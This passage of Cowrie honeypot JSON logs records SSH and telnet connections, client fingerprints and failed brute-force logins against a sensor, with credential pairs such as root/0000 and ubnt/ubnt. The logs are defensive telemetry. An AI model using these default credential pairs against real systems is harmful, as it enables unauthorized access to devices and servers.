","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:32:35.705163Z","src_ip":"45.153.34.114","session":"aba5b16a18fa","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"0000","message":"login attempt [root/0000] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:32:35.978599Z","src_ip":"45.153.34.114","session":"aba5b16a18fa","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:32:37.068936Z","src_ip":"45.153.34.114","session":"aba5b16a18fa","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.114","src_port":34698,"dst_ip":"159.203.135.109","dst_port":22,"session":"8a6293d115ef","protocol":"ssh","message":"New connection: 45.153.34.114:34698 (159.203.135.109:22) [session: 8a6293d115ef]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:32:43.229296Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:32:43.233716Z","src_ip":"45.153.34.114","session":"8a6293d115ef","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:32:43.341544Z","src_ip":"45.153.34.114","session":"8a6293d115ef","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"nginx","password":"123456","message":"login attempt [nginx/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:32:43.610346Z","src_ip":"45.153.34.114","session":"8a6293d115ef","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:32:44.702193Z","src_ip":"45.153.34.114","session":"8a6293d115ef","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.114","src_port":49318,"dst_ip":"159.203.135.109","dst_port":22,"session":"60c72062ba29","protocol":"ssh","message":"New connection: 45.153.34.114:49318 (159.203.135.109:22) [session: 60c72062ba29]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:32:50.667897Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:32:50.672474Z","src_ip":"45.153.34.114","session":"60c72062ba29","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:32:50.759884Z","src_ip":"45.153.34.114","session":"60c72062ba29","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"media","password":"media","message":"login attempt [media/media] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:32:51.109232Z","src_ip":"45.153.34.114","session":"60c72062ba29","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:32:52.195923Z","src_ip":"45.153.34.114","session":"60c72062ba29","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.75.199.4","src_port":51780,"dst_ip":"159.203.135.109","dst_port":22,"session":"cef91de7a68d","protocol":"ssh","message":"New connection: 103.75.199.4:51780 (159.203.135.109:22) [session: cef91de7a68d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:32:52.290388Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:32:52.295227Z","src_ip":"103.75.199.4","session":"cef91de7a68d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:32:52.386168Z","src_ip":"103.75.199.4","session":"cef91de7a68d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"test1234","message":"login attempt [root/test1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:32:52.663321Z","src_ip":"103.75.199.4","session":"cef91de7a68d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:32:53.757416Z","src_ip":"103.75.199.4","session":"cef91de7a68d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"5.226.140.73","src_port":40598,"dst_ip":"159.203.135.109","dst_port":23,"session":"b26f43e2f7fe","protocol":"telnet","message":"New connection: 5.226.140.73:40598 (159.203.135.109:23) [session: b26f43e2f7fe]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:32:54.420176Z"}
{"eventid":"cowrie.session.closed","duration":0.14971232414245605,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:32:54.569773Z","src_ip":"5.226.140.73","session":"b26f43e2f7fe","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.114","src_port":49322,"dst_ip":"159.203.135.109","dst_port":22,"session":"1b961e86af80","protocol":"ssh","message":"New connection: 45.153.34.114:49322 (159.203.135.109:22) [session: 1b961e86af80]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:32:58.100568Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:32:58.105790Z","src_ip":"45.153.34.114","session":"1b961e86af80","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:32:58.190021Z","src_ip":"45.153.34.114","session":"1b961e86af80","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"213.166.84.51","src_port":13722,"dst_ip":"159.203.135.109","dst_port":23,"session":"677d3e41c01d","protocol":"telnet","message":"New connection: 213.166.84.51:13722 (159.203.135.109:23) [session: 677d3e41c01d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:32:58.210831Z"}
{"eventid":"cowrie.login.failed","username":"root","password":"1q2w3e4r","message":"login attempt [root/1q2w3e4r] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:32:58.570687Z","src_ip":"45.153.34.114","session":"1b961e86af80","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:32:59.661883Z","src_ip":"45.153.34.114","session":"1b961e86af80","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.114","src_port":59414,"dst_ip":"159.203.135.109","dst_port":22,"session":"7d5866ae3b14","protocol":"ssh","message":"New connection: 45.153.34.114:59414 (159.203.135.109:22) [session: 7d5866ae3b14]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:33:05.639651Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:33:05.661630Z","src_ip":"45.153.34.114","session":"7d5866ae3b14","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:33:05.743684Z","src_ip":"45.153.34.114","session":"7d5866ae3b14","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"linux","message":"login attempt [root/linux] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:33:06.196582Z","src_ip":"45.153.34.114","session":"7d5866ae3b14","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:33:07.284269Z","src_ip":"45.153.34.114","session":"7d5866ae3b14","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"20.203.42.204","src_port":56752,"dst_ip":"159.203.135.109","dst_port":22,"session":"876a51721ae9","protocol":"ssh","message":"New connection: 20.203.42.204:56752 (159.203.135.109:22) [session: 876a51721ae9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:33:10.125467Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:33:10.130617Z","src_ip":"20.203.42.204","session":"876a51721ae9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:33:10.300877Z","src_ip":"20.203.42.204","session":"876a51721ae9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"pakchoi","password":"Kermit123@","message":"login attempt [pakchoi/Kermit123@] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:33:11.012706Z","src_ip":"20.203.42.204","session":"876a51721ae9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:33:12.186650Z","src_ip":"20.203.42.204","session":"876a51721ae9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.114","src_port":42948,"dst_ip":"159.203.135.109","dst_port":22,"session":"1da228a7b4f5","protocol":"ssh","message":"New connection: 45.153.34.114:42948 (159.203.135.109:22) [session: 1da228a7b4f5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:33:13.010957Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:33:13.018540Z","src_ip":"45.153.34.114","session":"1da228a7b4f5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:33:13.107963Z","src_ip":"45.153.34.114","session":"1da228a7b4f5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubnt","password":"ubnt","message":"login attempt [ubnt/ubnt] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:33:13.357687Z","src_ip":"45.153.34.114","session":"1da228a7b4f5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.75.199.4","src_port":48992,"dst_ip":"159.203.135.109","dst_port":22,"session":"18119ef97b23","protocol":"ssh","message":"New connection: 103.75.199.4:48992 (159.203.135.109:22) [session: 18119ef97b23]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:33:14.025374Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:33:14.029625Z","src_ip":"103.75.199.4","session":"18119ef97b23","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:33:14.120671Z","src_ip":"103.75.199.4","session":"18119ef97b23","protocol":"ssh"}
